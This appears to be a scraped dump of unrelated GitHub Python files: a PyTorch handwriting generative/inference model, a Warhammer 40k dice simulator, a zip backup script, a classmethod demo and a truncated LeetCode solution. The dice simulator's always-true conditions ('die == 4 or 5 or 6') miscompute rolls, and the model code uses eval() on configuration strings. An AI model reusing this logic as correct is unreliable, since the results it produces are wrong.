_likelihood.pre_rendering_params = [pre_scale, pre_bias]\n # constraints:\n # scale in [0, inf]\n # bias in [-inf, inf]\n self._likelihood.pre_rendering_params = nn.Parameter(torch.tensor([3.0, -3.0]))\n\n self.likelihood = likelihood\n self.pixelcnn_likelihood = likelihood == \"pixelcnn\" or \"pcnn\" in likelihood\n if self.pixelcnn_likelihood:\n raise NotImplementedError\n elif likelihood.startswith(\"classify\"):\n if likelihood == \"classify\" or likelihood.startswith(\"classify:\"):\n self.classifier = torch.load(\"classifier.pt\", map_location=torch.device(\"cpu\"))\n self.class_conditional_model = torch.load(\n \"cached_pixelcnn.pt\", map_location=torch.device(\"cpu\")\n )\n if \":\" in likelihood:\n args = {\n item.split(\"=\")[0]: eval(item.split(\"=\")[1])\n for item in likelihood.split(\":\")[1:]\n }\n else:\n args = {}\n if \"weight\" in args:\n self.likelihood_weight = args[\"weight\"]\n elif likelihood.startswith(\"classifytest\"):\n if \":\" in likelihood:\n args = {\n item.split(\"=\")[0]: eval(item.split(\"=\")[1])\n for item in likelihood.split(\":\")[1:]\n }\n else:\n args = {}\n self.classifier = Classifier(num_classes=1623, **args)\n self.class_conditional_model = torch.load(\n \"cached_pixelcnn.pt\", map_location=torch.device(\"cpu\")\n )\n for p in [*self.classifier.parameters(), *self.class_conditional_model.parameters()]:\n p.requires_grad = False\n elif likelihood == \"learned-affine\":\n theta_affine = torch.randn(40, 2, 3) * 0.03\n theta_affine[:, 0, 0] += 1\n theta_affine[:, 1, 1] += 1\n self._likelihood.theta_affine = nn.Parameter(theta_affine)\n\n self.uniform_mixture = uniform_mixture\n\n assert set(self.parameters()) == set(self._prior.parameters()) | set(\n self._likelihood.parameters()\n )\n assert len(set(self._prior.parameters()) & set(self._likelihood.parameters())) == 0\n\n def get_rendering_params(self):\n scale = F.softplus(self._likelihood.pre_rendering_params[0]).unsqueeze(0)\n bias = self._likelihood.pre_rendering_params[1].unsqueeze(0)\n return torch.cat([scale, bias])\n\n def get_primitives(self):\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L801-L804\n dxdy = torch.tanh(self._likelihood.pre_dxdy) * 0.66\n\n if self.big_arcs:\n # theta = (torch.sigmoid(self._likelihood.pre_theta*self.theta_factor) - 0.5) * math.pi * 0.99 * 2\n theta = torch.remainder(self._likelihood.pre_theta * math.pi, 2 * math.pi) - math.pi\n else:\n theta = (\n (torch.sigmoid(self._likelihood.pre_theta * self.theta_factor) - 0.5)\n * math.pi\n * 0.99\n )\n\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L816-L820\n sharpness = self._likelihood.pre_sharpness\n # modified to be > 5\n # sharpness = torch.exp(self._likelihood.pre_sharpness) + 5\n\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L808-L814\n width = torch.sigmoid(self._likelihood.pre_width) * 0.1\n # modified to be sharper\n # width = torch.sigmoid(self._likelihood.pre_width) * 0.05\n return torch.cat(\n [dxdy, theta.unsqueeze(-1), sharpness.unsqueeze(-1), width.unsqueeze(-1)], dim=1\n )\n\n def get_latent_dist(self, alphabet=None):\n \"\"\"Returns: distribution with batch shape [] and event shape\n [num_arcs, 2].\n \"\"\"\n return GenerativeModelIdsAndOnOffsDistribution(\n self._prior.lstm_cell, self._prior.linear, self.num_arcs, self.uniform_mixture, alphabet\n )\n\n def get_obs_params(self, latent):\n \"\"\"\n Args:\n latent: tensor [batch_size, num_arcs, 2]\n\n Returns:\n probs: tensor [batch_size, num_rows, num_cols]\n \"\"\"\n batch_size = latent.shape[0]\n ids = latent[..., 0]\n on_offs = latent[..., 1]\n start_point = self.start_point.unsqueeze(0).expand(batch_size, -1)\n\n arcs = get_arcs(start_point, self.get_primitives(), ids)\n return rendering.get_logits(\n arcs, on_offs, self.get_rendering_params(), self.num_rows, self.num_cols\n )\n\n def get_obs_dist(self, latent):\n \"\"\"\n Args:\n latent: tensor [batch_size, num_arcs, 2]\n\n Returns: distribution with batch_shape [batch_size] and event_shape\n [num_rows, num_cols]\n \"\"\"\n logits = self.get_obs_params(latent)\n if self.pixelcnn_likelihood:\n raise NotImplementedError\n elif self.likelihood == \"affine\":\n return AffineLikelihood(logits.sigmoid())\n elif self.likelihood == \"learned-affine\":\n return AffineLikelihood(logits.sigmoid(), self._likelihood.theta_affine)\n elif self.likelihood.startswith(\"classify\"):\n return ClassificationLikelihood(\n self.classifier, self.class_conditional_model, logits.sigmoid()\n )\n elif self.likelihood == \"bernoulli\":\n return torch.distributions.Independent(\n torch.distributions.Bernoulli(logits=logits), reinterpreted_batch_ndims=2\n )\n else:\n raise NotImplementedError()\n\n def get_log_prob(self, latent, obs, obs_id, get_accuracy=False):\n \"\"\"Log of joint probability.\n\n Args:\n latent: tensor [num_particles, batch_size, num_arcs, 2]\n obs: tensor of shape [batch_size, num_rows, num_cols]\n or tuple of\n obs: tensor of shape [batch_size, num_rows, num_cols]\n alphabet: tensor [batch_size, 50]\n obs_id: tensor of shape [batch_size]\n\n Returns: tensor of shape [num_particles, batch_size]\n \"\"\"\n if self.use_alphabet:\n obs, alphabet = obs\n else:\n alphabet = None\n num_particles, batch_size, num_arcs, _ = latent.shape\n _, num_rows, num_cols = obs.shape\n latent_log_prob = self.get_latent_dist(alphabet).log_prob(latent)\n\n obs_dist = self.get_obs_dist(latent.view(num_particles * batch_size, num_arcs, 2))\n if hasattr(obs_dist, \"log_prob_with_id\"):\n obs_log_prob, accuracy = obs_dist.log_prob_with_id(\n obs[None]\n .expand(num_particles, batch_size, num_rows, num_cols)\n .reshape(num_particles * batch_size, num_rows, num_cols),\n obs_id[None].expand(num_particles, batch_size).reshape(num_particles * batch_size),\n get_accuracy=True,\n )\n obs_log_prob = obs_log_prob.view(num_particles, batch_size)\n else:\n obs_log_prob = obs_dist.log_prob(\n obs[None]\n .expand(num_particles, batch_size, num_rows, num_cols)\n .reshape(num_particles * batch_size, num_rows, num_cols)\n ).view(num_particles, batch_size)\n accuracy = None\n\n if hasattr(self, \"likelihood_weight\"):\n obs_log_prob = obs_log_prob * self.likelihood_weight\n\n if get_accuracy:\n return latent_log_prob + obs_log_prob, accuracy\n else:\n return latent_log_prob + obs_log_prob\n\n def get_log_probss(self, latent, obs, obs_id):\n \"\"\"Log of joint probability.\n\n Args:\n latent: tensor [num_particles, batch_size, num_arcs, 2]\n obs: tensor of shape [batch_size, num_rows, num_cols]\n or tuple of\n obs: tensor of shape [batch_size, num_rows, num_cols]\n alphabet: tensor [batch_size, 50]\n obs_id: tensor of shape [batch_size]\n\n Returns: tuple of tensor of shape [num_particles, batch_size]\n \"\"\"\n\n if self.use_alphabet:\n obs, alphabet = obs\n else:\n alphabet = None\n\n num_particles, batch_size, num_arcs, _ = latent.shape\n _, num_rows, num_cols = obs.shape\n latent_log_prob = self.get_latent_dist(alphabet).log_prob(latent)\n obs_dist = self.get_obs_dist(latent.view(num_particles * batch_size, num_arcs, 2))\n if hasattr(obs_dist, \"log_prob_with_id\"):\n obs_log_prob = obs_dist.log_prob_with_id(\n obs[None]\n .expand(num_particles, batch_size, num_rows, num_cols)\n .reshape(num_particles * batch_size, num_rows, num_cols),\n obs_id[None].expand(num_particles, batch_size).reshape(num_particles * batch_size),\n ).view(num_particles, batch_size)\n else:\n obs_log_prob = obs_dist.log_prob(\n obs[None]\n .expand(num_particles, batch_size, num_rows, num_cols)\n .reshape(num_particles * batch_size, num_rows, num_cols)\n ).view(num_particles, batch_size)\n\n if hasattr(self, \"likelihood_weight\"):\n obs_log_prob = obs_log_prob * self.likelihood_weight\n\n return latent_log_prob, obs_log_prob\n\n def sample_latent_and_obs(self, alphabet=None, num_samples=1):\n \"\"\"Args:\n num_samples: int\n\n Returns:\n latent: tensor of shape [num_samples, num_arcs, 2]\n obs: tensor of shape [num_samples, num_rows, num_cols]\n \"\"\"\n if self.use_alphabet:\n batch_size = alphabet.shape[0]\n latent_dist = self.get_latent_dist(alphabet)\n latent = latent_dist.sample((num_samples,))\n obs_dist = self.get_obs_dist(latent.view(num_samples * batch_size, self.num_arcs, 2))\n obs = obs_dist.sample().view(num_samples, batch_size, self.num_rows, self.num_cols)\n else:\n assert alphabet is None\n latent_dist = self.get_latent_dist()\n latent = latent_dist.sample((num_samples,))\n obs_dist = self.get_obs_dist(latent)\n obs = obs_dist.sample()\n\n return latent, obs\n\n def sample_obs(self, alphabet=None, num_samples=1):\n \"\"\"Args:\n num_samples: int\n\n Returns:\n obs: tensor of shape [num_samples, num_rows, num_cols]\n \"\"\"\n\n return self.sample_latent_and_obs(alphabet, num_samples)[1]\n\n\nclass InferenceNetworkIdsAndOnOffsDistribution(torch.distributions.Distribution):\n \"\"\"Distribution on ids and on_offs.\"\"\"\n\n def __init__(\n self, obs_embedding, lstm_cell, linear, num_arcs, uniform_mixture=False, alphabet=None\n ):\n \"\"\"\n Args:\n obs_embedding: tensor [batch_size, obs_embedding_dim]\n lstm_cell: LSTMCell\n linear: Linear\n num_arcs: int\n uniform_mixture: bool\n\n Returns: distribution object with batch_shape [batch_size] and\n event_shape [num_arcs, 2]\n \"\"\"\n super().__init__()\n self.obs_embedding = obs_embedding\n self.lstm_cell = lstm_cell\n self.linear = linear\n self.num_arcs = num_arcs\n self.uniform_mixture = uniform_mixture\n self.alphabet = alphabet\n\n self.batch_size = obs_embedding.shape[0]\n self.obs_embedding_dim = obs_embedding.shape[1]\n\n self.lstm_hidden_size = self.lstm_cell.hidden_size\n self.lstm_input_size = self.lstm_cell.input_size\n if self.alphabet is None:\n self.num_primitives = self.lstm_input_size - 2 - self.obs_embedding_dim\n else:\n self.num_primitives = self.lstm_input_size - 2 - 50 - self.obs_embedding_dim\n self._batch_shape = [self.batch_size]\n self._event_shape = [num_arcs, 2]\n\n def sample(self, sample_shape=torch.Size()):\n \"\"\"\n Args:\n sample_shape: torch.Size\n\n Returns:\n ids_and_on_offs: [*sample_shape, batch_size, num_arcs, 2]\n ids_and_on_offs[..., 0] are ids\n ids_and_on_offs[..., 1] are on_offs\n \"\"\"\n device = next(self.lstm_cell.parameters()).device\n num_samples = torch.tensor(sample_shape).prod()\n\n if self.alphabet is None:\n lstm_input = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_input_size), device=device\n ).view(-1, self.lstm_input_size)\n h = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_hidden_size), device=device\n ).view(-1, self.lstm_hidden_size)\n c = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_hidden_size), device=device\n ).view(-1, self.lstm_hidden_size)\n obs_embedding_expanded = (\n self.obs_embedding[None]\n .expand(np.prod(sample_shape), self.batch_size, self.obs_embedding_dim)\n .reshape(-1, self.obs_embedding_dim)\n )\n lstm_input[:, -self.obs_embedding_dim :] = obs_embedding_expanded\n else:\n alphabet_expanded = (\n self.alphabet[None].expand(num_samples, self.batch_size, 50).reshape(-1, 50)\n )\n obs_embedding_expanded = (\n self.obs_embedding[None]\n .expand(num_samples, self.batch_size, self.obs_embedding_dim)\n .reshape(-1, self.obs_embedding_dim)\n )\n lstm_input = torch.cat(\n [\n torch.zeros(\n (\n num_samples * self.batch_size,\n self.lstm_input_size - 50 - self.obs_embedding_dim,\n ),\n device=device,\n ),\n alphabet_expanded,\n obs_embedding_expanded,\n ],\n dim=-1,\n )\n h = torch.zeros((num_samples * self.batch_size, self.lstm_hidden_size), device=device)\n c = torch.zeros((num_samples * self.batch_size, self.lstm_hidden_size), device=device)\n\n ids = []\n on_offs = []\n for arc_id in range(self.num_arcs):\n h, c = self.lstm_cell(lstm_input, (h, c))\n logits = self.linear(h)\n if self.uniform_mixture:\n p = self.uniform_mixture if type(self.uniform_mixture) is float else 0.2\n id_logits = util.logit_uniform_mixture(logits[:, : self.num_primitives], p)\n on_off_logits = util.logit_uniform_mixture(logits[:, self.num_primitives :], p)\n else:\n id_logits = logits[:, : self.num_primitives]\n on_off_logits = logits[:, self.num_primitives :]\n id_dist = torch.distributions.Categorical(logits=id_logits)\n on_off_dist = torch.distributions.Categorical(logits=on_off_logits)\n\n ids.append(id_dist.sample())\n if arc_id == 0:\n on_off = (\n torch.zeros((*sample_shape, self.batch_size), device=device).long().view(-1)\n )\n else:\n on_off = on_off_dist.sample()\n on_offs.append(on_off)\n\n lstm_input = torch.cat(\n [\n F.one_hot(ids[-1], num_classes=self.num_primitives).float(),\n F.one_hot(on_offs[-1], num_classes=2).float(),\n *([] if self.alphabet is None else [alphabet_expanded]),\n obs_embedding_expanded,\n ],\n dim=1,\n )\n\n return torch.stack([torch.stack(ids, dim=1), torch.stack(on_offs, dim=1)], dim=-1).view(\n *sample_shape, self.batch_size, self.num_arcs, 2\n )\n\n def log_prob(self, ids_and_on_offs):\n \"\"\"\n Args:\n ids_and_on_offs: [*sample_shape, batch_size, num_arcs, 2]\n ids_and_on_offs[..., 0] are ids\n ids_and_on_offs[..., 1] are on_offs\n\n Returns: tensor [*sample_shape, batch_size]\n \"\"\"\n device = next(self.lstm_cell.parameters()).device\n sample_shape = ids_and_on_offs.shape[:-3]\n ids = ids_and_on_offs[..., 0]\n on_offs = ids_and_on_offs[..., 1]\n num_samples = int(torch.tensor(sample_shape).prod().item())\n\n if self.alphabet is None:\n lstm_input = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_input_size), device=device\n ).view(-1, self.lstm_input_size)\n h = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_hidden_size), device=device\n ).view(-1, self.lstm_hidden_size)\n c = torch.zeros(\n (*sample_shape, self.batch_size, self.lstm_hidden_size), device=device\n ).view(-1, self.lstm_hidden_size)\n obs_embedding_expanded = (\n self.obs_embedding[None]\n .expand(int(np.prod(sample_shape)), self.batch_size, self.obs_embedding_dim)\n .reshape(-1, self.obs_embedding_dim)\n )\n lstm_input[:, -self.obs_embedding_dim :] = obs_embedding_expanded\n else:\n alphabet_expanded = (\n self.alphabet[None].expand(num_samples, self.batch_size, 50).reshape(-1, 50)\n )\n obs_embedding_expanded = (\n self.obs_embedding[None]\n .expand(num_samples, self.batch_size, self.obs_embedding_dim)\n .reshape(-1, self.obs_embedding_dim)\n )\n lstm_input = torch.cat(\n [\n torch.zeros(\n (\n num_samples * self.batch_size,\n self.lstm_input_size - 50 - self.obs_embedding_dim,\n ),\n device=device,\n ),\n alphabet_expanded,\n obs_embedding_expanded,\n ],\n dim=-1,\n )\n h = torch.zeros((num_samples * self.batch_size, self.lstm_hidden_size), device=device)\n c = torch.zeros((num_samples * self.batch_size, self.lstm_hidden_size), device=device)\n\n result = 0\n for arc_id in range(self.num_arcs):\n h, c = self.lstm_cell(lstm_input, (h, c))\n logits = self.linear(h)\n if self.uniform_mixture:\n p = self.uniform_mixture if type(self.uniform_mixture) is float else 0.2\n id_logits = util.logit_uniform_mixture(logits[:, : self.num_primitives], p)\n on_off_logits = util.logit_uniform_mixture(logits[:, self.num_primitives :], p)\n else:\n id_logits = logits[:, : self.num_primitives]\n on_off_logits = logits[:, self.num_primitives :]\n id_dist = torch.distributions.Categorical(\n logits=id_logits.view(*sample_shape, self.batch_size, self.num_primitives)\n )\n on_off_dist = torch.distributions.Categorical(\n logits=on_off_logits.view(*sample_shape, self.batch_size, 2)\n )\n\n result += id_dist.log_prob(ids[..., arc_id])\n if arc_id == 0:\n pass\n else:\n result += on_off_dist.log_prob(on_offs[..., arc_id])\n\n lstm_input = torch.cat(\n [\n F.one_hot(ids[..., arc_id].view(-1), num_classes=self.num_primitives).float(),\n F.one_hot(on_offs[..., arc_id].view(-1), num_classes=2).float(),\n *([] if self.alphabet is None else [alphabet_expanded]),\n obs_embedding_expanded,\n ],\n dim=1,\n )\n return result\n\n\ndef cnn(output_dim, n_hidden=128, dropout=False):\n l = []\n l.append(nn.Conv2d(1, int(n_hidden / 2), kernel_size=3, padding=2))\n if dropout:\n l.append(nn.Dropout2d())\n l.append(nn.ReLU(inplace=True))\n l.append(nn.MaxPool2d(kernel_size=3, stride=2))\n l.append(nn.Conv2d(int(n_hidden / 2), n_hidden, kernel_size=3, padding=1))\n # if dropout: l.append(nn.Dropout2d())\n l.append(nn.ReLU(inplace=True))\n l.append(nn.MaxPool2d(kernel_size=3, stride=2))\n l.append(nn.Conv2d(n_hidden, n_hidden, kernel_size=3, padding=0))\n if dropout:\n l.append(nn.Dropout2d())\n l.append(nn.ReLU(inplace=True))\n l.append(nn.Conv2d(n_hidden, output_dim, kernel_size=3, padding=0))\n # if dropout: l.append(nn.Dropout2d())\n l.append(nn.ReLU(inplace=True))\n l.append(nn.MaxPool2d(kernel_size=2, stride=2))\n return nn.Sequential(*l)\n\n\nclass InferenceNetwork(nn.Module):\n def __init__(\n self,\n num_primitives,\n lstm_hidden_size,\n num_rows,\n num_cols,\n num_arcs,\n obs_embedding_dim,\n uniform_mixture=False,\n use_alphabet=False,\n ):\n super(InferenceNetwork, self).__init__()\n self.use_alphabet = use_alphabet\n self.obs_embedding_dim = obs_embedding_dim\n self.lstm_hidden_size = lstm_hidden_size\n if self.use_alphabet:\n self.lstm_input_size = num_primitives + 2 + 50 + obs_embedding_dim\n else:\n self.lstm_input_size = num_primitives + 2 + obs_embedding_dim\n self.lstm_cell = nn.LSTMCell(\n input_size=self.lstm_input_size, hidden_size=self.lstm_hidden_size\n )\n self.obs_embedder = cnn(self.obs_embedding_dim)\n # TODO: consider feeding partial image into the LSTM\n # self.partial_image_embedder_cnn = nn.Sequential(\n # nn.Conv2d(1, 64, kernel_size=3, padding=2),\n # nn.ReLU(inplace=True),\n # nn.MaxPool2d(kernel_size=3, stride=2),\n # nn.Conv2d(64, 128, kernel_size=3, padding=1),\n # nn.ReLU(inplace=True),\n # nn.MaxPool2d(kernel_size=3, stride=2),\n # nn.Conv2d(128, 128, kernel_size=3, padding=0),\n # nn.ReLU(inplace=True),\n # nn.Conv2d(128, self.observed_obs_embedding_dim,\n # kernel_size=3, padding=0),\n # nn.ReLU(inplace=True),\n # nn.MaxPool2d(kernel_size=2, stride=2)\n # )\n self.linear = nn.Linear(self.lstm_hidden_size, num_primitives + 2)\n self.num_rows = num_rows\n self.num_cols = num_cols\n self.num_arcs = num_arcs\n self.register_buffer(\"start_point\", torch.tensor([0.5, 0.5]))\n self.uniform_mixture = uniform_mixture\n\n def get_obs_embedding(self, obs):\n \"\"\"\n Args:\n obs: tensor [batch_size, num_rows, num_cols]\n\n Returns: tensor [batch_size, obs_embedding_dim]\n \"\"\"\n batch_size = obs.shape[0]\n result = self.obs_embedder(obs.unsqueeze(1)).view(batch_size, -1)\n assert result.shape[1] == self.obs_embedding_dim\n return result\n\n def get_latent_dist(self, obs):\n \"\"\"Args:\n obs: tensor of shape [batch_size, num_rows, num_cols]\n or tuple of\n obs: tensor of shape [batch_size, num_rows, num_cols]\n alphabet: tensor [batch_size, 50]\n Returns: distribution with batch_shape [batch_size] and\n event_shape [num_arcs, 2]\n \"\"\"\n if self.use_alphabet:\n obs, alphabet = obs\n else:\n alphabet = None\n return InferenceNetworkIdsAndOnOffsDistribution(\n self.get_obs_embedding(obs),\n self.lstm_cell,\n self.linear,\n self.num_arcs,\n self.uniform_mixture,\n alphabet=alphabet,\n )\n\n def sample_from_latent_dist(self, latent_dist, num_particles):\n \"\"\"Samples from q(latent | obs)\n\n Args:\n latent_dist: distribution with batch_shape [batch_size] and\n event_shape [num_arcs, 2]\n num_particles: int\n\n Returns:\n latent: tensor of shape [num_particles, batch_size, num_arcs, 2]\n \"\"\"\n return latent_dist.sample((num_particles,))\n\n def sample(self, obs, num_particles):\n \"\"\"Samples from q(latent | obs)\n\n Args:\n obs: tensor of shape [batch_size, num_rows, num_cols]\n or tuple of\n obs: tensor of shape [batch_size, num_rows, num_cols]\n alphabet: tensor [batch_size, 50]\n num_particles: int\n\n Returns:\n latent: tensor of shape [num_particles, batch_size, num_arcs, 2]\n \"\"\"\n latent_dist = self.get_latent_dist(obs)\n return self.sample_from_latent_dist(latent_dist, num_particles)\n\n def get_log_prob_from_latent_dist(self, latent_dist, latent):\n \"\"\"Log q(latent | obs).\n\n Args:\n latent_dist: distribution with batch_shape [batch_size] and\n event_shape [num_arcs, 2]\n latent: tensor of shape [num_particles, batch_size, num_arcs, 2]\n\n Returns: tensor of shape [num_particles, batch_size]\n \"\"\"\n return latent_dist.log_prob(latent)\n\n def get_log_prob(self, latent, obs):\n \"\"\"Log q(latent | obs).\n\n Args:\n latent: tensor of shape [num_particles, batch_size, num_arcs, 2]\n obs: tensor of shape [batch_size, num_rows, num_cols]\n\n Returns: tensor of shape [num_particles, batch_size]\n \"\"\"\n return self.get_log_prob_from_latent_dist(self.get_latent_dist(obs), latent)\n","repo_name":"tuananhle7/mws","sub_path":"handwritten_characters/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":45080,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"14624975085","text":"import random\nclass weapon():\n \n def __init__(self, name='', wep_type='', rolls='', strength='', ap='', damage='', abilities='', pts = 0):\n self.name = name\n self.wep_type = wep_type\n self.rolls = rolls\n self.strength = strength\n self.ap = ap\n self.damage = damage\n self.abilities = abilities\n self.pts = pts\n \nweapons = {}\n#weapons['macro plasma incinerator'] = weapon(name='macro plasma incinerator', wep_type='heavy', rolls='D6', strength=8, ap=-4, damage='1')\n#weapons['heavy onslaught gatling cannon'] = weapon(name='heavy onslaught gatling cannon', wep_type='heavy', rolls=12, strength=5, ap=-1, damage=1)\n#weapons['las-talon'] = weapon(name='las-talon', wep_type='heavy', rolls=2, strength=9, ap=-3, damage='D6')\n#weapons['heavy Laser destroyer'] = weapon(name='heavy laser destroyer', wep_type='heavy', rolls=2, strength=10, ap=-4, damage='D6', abilities='damage is always 3')\n#weapons['storm bolter'] = weapon(name='Storm bolter', wep_type='rapid fire', rolls=4, strength=4, ap=0, damage=1)\n#weapons['icarus ironhail heavy stubber'] = weapon(name='icarus ironhail heavy stubber', wep_type='heavy', rolls=3, strength=4, ap=-1, damage=1, abilities='icarus')\nweapons['icarus rocket pod'] = weapon(name='icarus rocket pod', wep_type='heavy', rolls='D3', strength=7, ap=-1, damage=2, abilities='icarus')\n#weapons['fragstorm grenade launcher'] = weapon(name='fragstorm grenade launcher', wep_type='assault', rolls='D6', strength=4, ap=0, damage=1)\n#weapons['heavy flamer'] = weapon(name='heavy flamer', wep_type='heavy', rolls='D6', strength=5, ap=-1, damage=1, abilities='always hit')\n#weapons['lightning claws'] = weapon(name='lightning claws', wep_type='melee', rolls=3, strength=4, ap=-2, damage=1, abilities='reroll all wounds')\n#weapons['thunder hammer'] = weapon(name='thunder hammer', wep_type='melee', rolls=3, strength=8, ap=-3, damage=3, abilities='-1 from hit roll')\n#weapons['bolt rifle'] = weapon(name='bolt rifle', wep_type='rapid fire', rolls=1, strength=4, ap=-1, damage=1)\n#weapons['stalker bolt rifle'] = weapon(name='stalker bolt rifle', wep_type='heavy', rolls=1, strength=4, ap=-2, damage=2)\n#weapons['plasma incinerator'] = weapon(name='plasma incinerator', wep_type='rapid fire', rolls=1, strength=7, ap=-4, damage=1)\n#weapons['heavy plasma incinerator'] = weapon(name='heavy plasma incinerator', wep_type='heavy', rolls=1, strength=8, ap=-4, damage=1)\n#weapons['cyclone missile launcher - frag'] = weapon(name='cyclone missile launcher - frag', wep_type='heavy', rolls='2D3', strength=4, ap=0, damage=1)\n#weapons['cyclone missile launcher - krak'] = weapon(name='cyclone missile launcher - krak', wep_type='heavy', rolls=2, strength=8, ap=-2, damage='D6')\n#weapons['frag grenade'] = weapon(name='frag grenade', wep_type='grenade', rolls='D6', strength=3, ap=0, damage=1)\n#weapons['krak grendae'] = weapon(name='krak grenade', wep_type='grenade', rolls=1, strength=6, ap=-1, damage='D3')\n#weapons['missile launcher - frag'] = weapon(name='missile launcher - frag', wep_type='heavy', rolls='D6', strength=4, ap=0, damage=1)\n#weapons['missile launcher - krak'] = weapon(name='missile launcher - krak', wep_type='heavy', rolls=1, strength=8, ap=-2, damage='D6')\n#weapons['assault bolter'] = weapon(name='assault bolter', wep_type='assault', rolls=3, strength=5, ap=-1, damage=1)\n#weapons['plasma exterminator'] = weapon(name='plasma exterminator', wep_type='assault', rolls='D3', strength=7, ap=-3, damage=1)\n#weapons['flamer'] = weapon(name='flamer', wep_type='assault', rolls='D6', strength=4, ap=0, damage=1, abilities='always hit')\n#weapons['meltagun'] = weapon(name='meltagun', rolls=1, strength=8, ap=-4, damage='D6')\n#weapons['plasma gun'] = weapon(name='plasma gun', wep_type='rapid fire', rolls=2, strength=7, ap=-3, damage=1)\n#weapons['twin lascannon'] = weapon(name='twin lascannon', wep_type='heavy', rolls=2, strength=9, ap=-3, damage='D6')\n#weapons['twin heavy bolters'] = weapon(name='twin heavy bolters', wep_type='heavy', rolls=6, strength=5, ap=-1, damage=1)\n\n#Can only do 1 at a time\ndef output():\n av = []\n for i in range(100000):\n for i in weapons:\n #definitions\n wep_type = weapons[i].wep_type\n rolls = weapons[i].rolls\n strength = weapons[i].strength\n ap = weapons[i].ap\n abilities = weapons[i].abilities\n damage = weapons[i].damage\n\n no = [] #hits storage\n no_ = [] #wounds storage\n no__ = [] #unsaved wounds storage\n bs = 3 #ballistic skill\n toughness = 4 #enemy toughness\n sv = 3 #enemy save\n assume_move = 0 #assume movement\n fly = 0\n\n #hit roll\n if abilities == 'icarus':\n if fly == 0:\n bs += 1\n if fly == 1:\n bs -= 1\n if abilities == '-1 from hit roll':\n bs += 1\n if wep_type == 'heavy':\n if assume_move == 1:\n bs += 1\n if rolls == 'D6':\n rolls = random.randint(1,6)\n elif rolls == 'D3':\n die = random.randint(1,6)\n if die == 4 or 5 or 6:\n rolls = int(round(die/2))\n else:\n rolls = die\n elif rolls == '2D3':\n die = random.randint(1,6)\n if die == 4 or 5 or 6:\n die = int(round(die/2))\n die_2 = random.randint(1,6)\n if die_2 == 4 or 5 or 6:\n die_2 = int(round(die_2/2))\n rolls = die + die_2\n else:\n rolls = int(rolls)\n for i in range(rolls):\n if abilities == 'always hit':\n no.append('hit')\n continue\n die = random.randint(1,6)\n if assume_move == 1:\n if type == 'heavy':\n bs += 1\n if die >= bs:\n no.append(die)\n else:\n continue\n hits = len(no)\n \n #wound roll\n if strength > toughness:\n if strength >= toughness*2:\n wound = 2\n else:\n wound = 3\n if strength < toughness:\n if strength <= toughness*0.5:\n wound = 6\n else:\n wound = 5\n if strength == toughness:\n wound = 4\n\n for i in range(hits):\n die = random.randint(1,6)\n if die >= wound:\n no_.append(die)\n else:\n if abilities == 'reroll all wounds':\n die = random.randint(1,6)\n if die >= wound:\n no_.append(die)\n else:\n continue\n continue\n wounds = len(no_)\n\n #save roll\n for i in range(wounds):\n die = random.randint(1,6) + ap\n if die >= sv:\n continue\n else:\n no__.append(die)\n total_wounds = len(no__)\n\n #damage calculation\n total_damage = 0\n for i in range(total_wounds):\n if damage == 'D6':\n damage = random.randint(1,6)\n if abilities == 'damage is always 3':\n if damage == 1 or 2:\n damage = 3\n elif damage == 'D3':\n damage = random.randint(1,6)\n if damage == 4 or 5 or 6:\n damage = round((damage/2))\n else:\n damage = int(damage)\n total_damage += damage\n av.append(total_damage)\n for i in weapons:\n print(weapons[i].name)\n #print(av)\n average = sum(av)/len(av)\n print(average)\noutput()","repo_name":"edy1482/Warhammer-40k","sub_path":"Weapons Testing.py","file_name":"Weapons Testing.py","file_ext":"py","file_size_in_byte":8137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5696014954","text":"#!/usr/bin/python3\nimport zipfile,os,sys\n\ndef backupToZip(folder):\n folder = os.path.abspath(folder)\n number = 1\n while True:\n zipFilename = os.path.basename(folder) + \"_\" + str(number) + \".zip\"\n if not os.path.exists(zipFilename):\n break\n number = number + 1\n print('Creating %s...' % zipFilename)\n backupZip = zipfile.ZipFile(zipFilename,'w')\n \n for foldername,subfolders,filenames in os.walk(folder):\n print('Adding files in %s...' % foldername)\n backupZip.write(foldername)\n for filename in filenames:\n newBase = os.path.basename(folder) + '_'\n if filename.startswith(newBase) and filename.endswith('.zip'):\n continue\n backupZip.write(os.path.join(foldername,filename))\n backupZip.close()\n print('Done')\n\ndef judge(folder):\n while True:\n if not os.path.exists(folder):\n print(\"file or dir is not exist.\")\n sys.exit()\n else:\n break\n \n\na = True\nwhile a:\n dir = input(\"Input the absolutely directory path: \")\n if not dir:\n print(\"Error input.\") \n break\n judge(dir)\n if dir == 'q':\n sys.exit()\n else:\n backupToZip(dir)\n a = False\n","repo_name":"hx666y/python3","sub_path":"py-scripts/backupToZip.py","file_name":"backupToZip.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"757013498","text":"# -*- coding:utf-8 -*-\nclass A:\n v = 0\n\n @classmethod\n def get_v(cls):\n # classmethod(get_v)\n # 此方法为类方法,此方法可以获取A类的类变量V的值\n\n return cls.v\n\n @classmethod\n def set_v(cls, value):\n cls.v = value\n\n\nprint(A.v)\nprint(A.get_v()) # 默认会传入A作为参数cls\nA.set_v(100)\nprint(A.get_v())\nprint(A.v)\n","repo_name":"ljrdemail/AID1810","sub_path":"OOP/Day02/classmethod.py","file_name":"classmethod.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72685289824","text":"from typing import List\n\nclass Solution:\n def removeElement(self, nums: List[int], val: int) -> int:\n startIdx = 0\n for i in range(len(nums)):\n if nums[i] != val:\n nums[startIdx] = nums[i]\n startIdx += 1\n return 